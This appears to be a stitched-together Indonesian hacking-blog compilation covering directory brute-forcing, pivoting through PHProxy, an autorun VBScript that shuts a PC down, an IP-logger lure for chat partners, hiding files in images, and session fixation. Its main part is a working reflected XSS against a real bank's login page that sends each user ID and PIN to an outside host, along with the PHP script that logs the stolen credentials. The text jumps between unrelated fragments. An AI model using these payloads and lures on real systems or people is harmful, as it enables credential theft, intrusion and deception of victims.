• Backup

• Halaman Login

• Log file

Pesan error di atas umumnya dijumpai pada direktori yang ada, tapi directory indexing tidak diaktifkan, sehingga anda harus menebak nama file yang ada di direktori tersebut. Bila directory indexing diaktifkan, maka anda akan menemukan halaman dengan title “Index of /”.

• Versi Lama

• Crawling

• Guessing

1. Pure Brute Force Attack
Cara ini adalah cara yang paling kasar. Kita mencoba semua kemungkinan kata yang muncul dari huruf , angka dan karakter lain sebagai nama direktori atau nama file. Contoh: request /aa/, lalu /ab/, lalu /ac/, lalu /ad/, demikian seterusnya sampai semua kemungkinan yang ada dicoba. Cara ini membutuhkan waktu yang sangat lama, jadi kurang efektif. Tapi kelebihannya adalah tidak ada direktori yang lolos, karena semua kemungkinan akan dicoba.
2. Dictionary Attack
Ini adalah cara yang lebih sopan dibanding pure brute force. Kita menggunakan kamus, yaitu kumpulan nama yang akan kita pakai untuk request ke web server. Efektif tidaknya cara ini tergantung dari bagaimana kualitas kamus yang dipakai. Semakin baik kualitas kamusnya, semakin besar kemungkinan berhasil mendapatkan direktori sensitif. Kamus yang baik adalah kamus berisi kata yang memang benar-benar pernah dipakai untuk nama direktori, jadi bukan nama fiktif atau karangan.

• directory-list-2.3-small.txt  (87650 words) : Minimal dipakai di 3 situs berbeda.
• directory-list-2.3-medium.txt  (220546 words) : Minimal dipakai di 2 situs berbeda.
• directory-list-2.3-big.txt  (1273819 words) : Minimal pernah dipakai.
• directory-list-lowercase-2.3-small.txt  (81629 words) : Versi case insensitive dari directory-list-2.3-small.txt
• directory-list-lowercase-2.3-medium.txt  (207629 words) : Versi case insensitive dari directory-list-2.3-medium.txt
• directory-list-lowercase-2.3-big.txt  (1185240 words) : Versi case insensitive dari directory-list-2.3-big.txt
• directory-list-1.0.txt  (141694 words)  : Daftar awalnya, tidak terurut
• apache-user-enum-1.0.txt  (8916 usernames) : Dipakai untuk user enumeration, mendapatkan valid username di sebuah server
• apache-user-enum-2.0.txt  (10341 usernames) : Dipakai untuk user enumeration

Ada kalanya kita harus membrute force nama direktori yang merupakan bagian dari parameter URL. Dalam kasus seperti itu kita bisa memakai pilihan URL Fuzz. Salah satu contoh kasusnya adalah ketika kita ingin melakukan scanning melalui sebuah web based proxy seperti PHPProxy.

Ketika kita ingin scanning website internal dengan IP address private dari website public yang sudah berhasil kita susupi, kita bisa gunakan PHProxy. URL PHProxy biasanya berbentuk http://somewebsite/myproxy/?q=http://situstarget/{dir}. Dalam kasus seperti ini, pilihan URL Fuzz bisa sangat berguna. Gambar di bawah ini menunjukkan skenario tersebut. Setelah seorang hacker berhasil menguasai web server public, dia akan mengupload web based proxy seperti PHProxy. Dengan proxy tersebut hacker bisa melebarkan serangannya ke arah dalam dengan menyerang web server internal yang tidak bisa dijangkau dari internet.

cara pasang password pada flashdisk tanpa software

on error goto 0
dim s,quest,sd,m,winpath,fs
set sd=createobject("Wscript.shell")
set fs=createobject("Scripting.FileSystemObject")
set winpath=fs.getspecialfolder(0)
set s=wscript.createobject("wscript.shell")
do while quest=""
quest=inputbox("Masukkan PASSWORD, Jika anda salah dalam memasukkan password,
maka komputer ini akan ShutDown!!!","http://jakfarsidik.blogspot.com")
if quest="" then
m=MsgBox("Maaf anda belum memasukkan password...!", 0+0+48,
"http://jakfarsidik.blogspot.com")
end if
loop
if quest="TULIS PASSWORD DISINI" then
s.run "shutdown -a"
sd.run winpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
else
s.run "shutdown -s -t 0"
end if

[Autorun]
shellexecute=wscript.exe passwordlock.vbs
action=FLASHDISK TELAH DILENGKAPI CODE

Cara Mengetahui IP Lawan via Chatting Facebook

1. Sebuah SERVER HOSTING yang bisa dipakai untuk menyimpan file logger.
2. Sebuah LINK content / halaman menarik yang dapat digunakan untuk mengalihkan perhatian lawan.
3. FILE LOGGER itu sendiri.

1. Bikin sebuah artikel yang indah & menarik, sehingga akan banyak orang yang akan melihat.
2. Kemudian buatlah file HTML, misalkan simpan difile: “galau.html“.
3. Pada sela-sela code html tersebut, masukkanlah / inject code logger kedalam source htmlnya.
4. Sesuaikan / edit alamat email untuk pengiriman hasil IP target di dalam code loggernya.
5.  Kemudian upload file tersebut ke server hosting.
6. Pastikan serverhosting memiliki kemampuan  pengiriman email seperti: SMTP / POP3
7. Nanti file tersebut dibuka dengan: http://www.situsanda.com/galau.html

1. Berusaha chatting dengan lembut dan baik dengan lawan chatting kita.
2. Kemudian rayulah lawan untuk dapat meng-klik LINK yang sudah kita berikan tadi.
3. Konfirmasikan ke lawan apakah sudah membaca link dengan cara menanyakan apa isi linknya.
4. Link yang anda kirimkan adalah link logger yang tadi yaitu http://www.situsanda.com/galau.html

Perbedaan KBps dan Kbps

bita (Bahasa Inggris: byte) adalah istilah yang biasa dipergunakan sebagai satuan dari penyimpanan data dalam komputer. Satu bita terdiri dari delapan bit.
Huruf B digunakan dalam singkatan kepada byte. (bit menggunakan singkatan b.) seperti kB = kilobita. Cakram keras (hard disk) berkapasitas 40GB secara mudahnya bermaksud cakram keras tersebut mampu menyimpan hingga 40 ribu juta (milyar) bita atau gigabita data.

10 Aplikasi Penyadap Telepon dan Sms

Cara Menyembunyikan File Dalam Gambar

1. Buatlah folder untuk meletakan file-filenya agar lebih mudah
2. Jadikan file yg anda akan sembunyikan ke format rar atau zip (klik kanan pada file pilih add to winrar)
3. Siapkan file gambar,music, atau video
4. Simpan file gambar dan file rar/zip dalam folder yg tadi dibuat
5. Buka notepad
6. Copy code berikut : copy /b file gambar,music,atau video + file rar/zip nama hasil file nya (Contoh : copy /b apel.jpg + test.rar apel02.jpg)
7. Save dengan format ” .bat ” dan simpan di folder yg tadi dibuat
8. Klik dua kali pada file .bat yg tadi kita buat
9. Cek hasil file nya dengan cara klik kanan pada file hasilnya lalu pilih open with , dan pilih winrar

Menyembunyikan File Dalam Gambar

1. Untuk percobaannya, buat satu file dari notepad. Dalam contoh kali ini penulis membuat file fastncheap.txt.
2. Dilanjutkan dengan mengkompress file tersebut dengan WinRAR ke dalam bentuk ZIP.
3. Jalankan Aplikasi Jpeg+FileBinder untuk memulai trik penyembunyian file.
4. Masukkan satu file gambar yang ingin digunakan sebagai tempat persembunyian File rahasia pada kolom Pictures.
5. Masukkan file yang ingin di sembunyikan ke dalam kolom Compressed File, ingat! file tersebut sudah kita buat pada langkah no 2.
6. Pada Output Picture File, ketikkan nama yang anda ingini sebagai nama gambar yang akan di buat.
7. Kemudian klik tombol OK. Maka akan tercipta sebuah file gambar yang di dalamnya terdapat file rahasia anda.
8. Untuk mencoba apakah trik ini berhasil anda bisa membuka file gambar yang sudah tercipta tadi menggunakan WinRAR. Klik Kanan pada file gambar kemudian Open With > WinRAR.
   
9. Segera kita dapat mengetahui isi file gambar tersebut.

STEGANOGRAFI

copy /b klikedukasi.jpg+steganografi.rar hasil.jpg

Membuat Password Pada Folder Penting

xss bug

https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=Mohon masukkan User ID/Password Anda yg benar \n (Please enter Your correct User ID/Password)

<script>
    var err='User ID harus Alpha Numerik/User ID must be Alpha Numeric'
    alert(err);
 iBankForm.action='login.jsp';
 iBankForm.submit();
  </script>

https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=TEST';alert(document.cookie);<!--

1
2
3
4
5
6

<script type="text/javascript">
    var err='TEST';alert(document.cookie);<!--'
    alert(err);
 iBankForm.action='login.jsp';
 iBankForm.submit();
  </script>

1. Meng-intercept klik tombol submit
2. Mengirimkan user dan password ke server saya
3. Mencatat user dan password di server saya

1
2
3

<input type="Submit" value="LOGIN" name="value(Submit)"
onclick="javascript:return Login_Form_Validator(document.frmParam)"
onmouseover="this.style.cursor='hand'" />

var blnSubmitted = false;
function Login_Form_Validator( theForm ) {
 
  document.forms[0]['value(user_id)'].autocomplete = 'off';
  document.forms[0]['value(pswd)'].autocomplete = 'off';
 
  var blnResponse = false;
  if (blnSubmitted) {
    return false;
  }
 
  var strErrMsg = "";
  if( document.forms[0]['value(user_id)'].value == '') {
    alert("Silakan mengisi User ID anda/Please input your User ID");
    document.forms[0]['value(user_id)'].focus();
    return false;
  }
  if( document.forms[0]['value(user_id)'].value.length>12) {
    alert("User ID/Password Anda salah / Your User ID/Password is Wrong");
    document.forms[0]['value(user_id)'].select();
    document.forms[0]['value(user_id)'].focus();
    return false;
  }
 
  if(document.forms[0]['value(pswd)'].value == '') {
    alert("Silakan mengisi PIN anda/Please input your PIN");
    document.forms[0]['value(pswd)'].focus();
    return false;
  }
  if(document.forms[0]['value(pswd)'].value.length<6) {
    alert("PIN harus 6 Angka/PIN must be 6 digits");
    document.forms[0]['value(pswd)'].focus();
    return false;
  }
 
  //if(strErrMsg != '') {
  //  alert(strErrMsg);
  //  return false;
  //}
 
  //blnSubmitted =  confirm("Click OK to login.");
  if ( !blnSubmitted ) {
    blnSubmitted = true;
    blnResponse = true;
  }
 
  //if('< %= blnLogout %>'=='true')
 //blnResponse = false;
 
  return blnResponse;
}

https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';function Login_Form_Validator(theForm){alert('TEST');return false;}</script><noscript><!--

<script>
    var err='TEST';function Login_Form_Validator(theForm){alert('TEST');return false;}</script><noscript><!--'
    alert(err);
 iBankForm.action='login.jsp';
 iBankForm.submit();
  </script>

function overridden

<img src="http://www.ilmuhacking.com/testcapture.php" name="myimage" width="1" height="1">

document.forms[0]['value(user_id)'].value
document.forms[0]['value(pswd)'].value

'http://www.ilmuhacking.com/testcapture.php?userid='+document.forms[0]['value(user_id)'].value+'&passwd='+document.forms[0]['value(pswd)'].value

var abc=false;
function Login_Form_Validator(theForm {
    if (!abc) {
        document.images.myimage.src='http://www.ilmuhacking.com/testcapture.php'+'?userid='+document.forms[0]['value(user_id)'].value+'&passwd='+document.forms[0]['value(pswd)'].value;
        abc = true;
        return false;
    }
}

https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';var abc=false;function Login_Form_Validator(theForm){if (!abc) {abc=true;document.images.myimage.src='http://www.ilmuhacking.com/testcapture.php?userid='%2Bdocument.forms[0]['value(user_id)'].value%2B'%26passwd='%2Bdocument.forms[0]['value(pswd)'].value;return false;}}</script><img name="myimage" src="http://www.ilmuhacking.com/testcapture.php" width="1" height="1"><noscript><!--

http://www.ilmuhacking.com/testcapture.php?userid=abc1234&passwd=123456

1
2
3
4
5
6
7
8
9
10
11

<?php
$file=fopen("capture.txt","a+");
$userid=$_GET["userid"];
$passwd=$_GET["passwd"];
$ipaddr=$_SERVER["REMOTE_ADDR"];
$now = date("Ymd H:i:s");
if (!empty($userid)) {
        fwrite($file,"$userid =&amp;gt; $passwd (at $now from $ipaddr)\n");
}
fclose($file);
?>

1. Predict
2. Capture
3. Fixate

Dalam serangan session fixation, attacker MEMILIHKAN sessionid untuk korban

• query string (url rewriting), contohnya index.php?PHPSESSID=abcd
• cookie

Fixation attack bisa terjadi karena server mau menerima usulan sessionid dari client

remote fixation attack

remote session fixation

Dalam server yang menerima sessionid dalam cookie dan url rewriting, cookie mempunyai prioritas lebih dibanding url rewriting.

1
2
3
4
5
6
7
8
9
10
11

<?php
session_start();
print "Session ID: ".session_id()."<br/>";
 
if (!isset($_SESSION["c"])) {
        $_SESSION["c"] = 0;
} else {
        $_SESSION["c"]++;
}
print $_SESSION["c"]."<br/>";
?>

1
2
3
4
5
6
7
8
9
10
11

http://192.168.0.10/mylab/counter.php
 
GET /mylab/counter.php HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

1
2
3
4
5
6
7
8
9
10
11
12

HTTP/1.x 200 OK
Date: Mon, 02 Feb 2009 08:12:07 GMT
Server: Apache/2.2.3 (Fedora)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=of6k7hsg17vl9jrg0b7lhrlck6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 49
Keep-Alive: timeout=60000, max=489
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

1
2
3
4
5
6
7
8
9
10
11

http://192.168.0.10/mylab/counter.php?PHPSESSID=abcdef1234567890
 
GET /mylab/counter.php?PHPSESSID=abcdef1234567890 HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

1
2
3
4
5
6
7
8
9
10
11
12
13

HTTP/1.x 200 OK
Date: Mon, 02 Feb 2009 08:22:42 GMT
Server: Apache/2.2.3 (Fedora)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 39
Keep-Alive: timeout=60000, max=490
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
 
Session ID: abcdef1234567890<br/>0<br/>

add session cookie

1
2
3
4
5
6
7
8
9
10
11
12

http://192.168.0.10/mylab/counter.php
 
GET /mylab/counter.php HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=01234567890

1
2
3
4
5
6
7
8
9
10
11
12
13

HTTP/1.x 200 OK
Date: Mon, 02 Feb 2009 08:34:08 GMT
Server: Apache/2.2.3 (Fedora)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 34
Keep-Alive: timeout=60000, max=500
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
 
Session ID: 01234567890<br/>0<br/>

• Tidak ada cookie berisi sessionid untuk domain situs yang akan anda kunjungi.
• Pastikan URL yang anda kunjungi tidak mengandung query string yang berisi sessionid.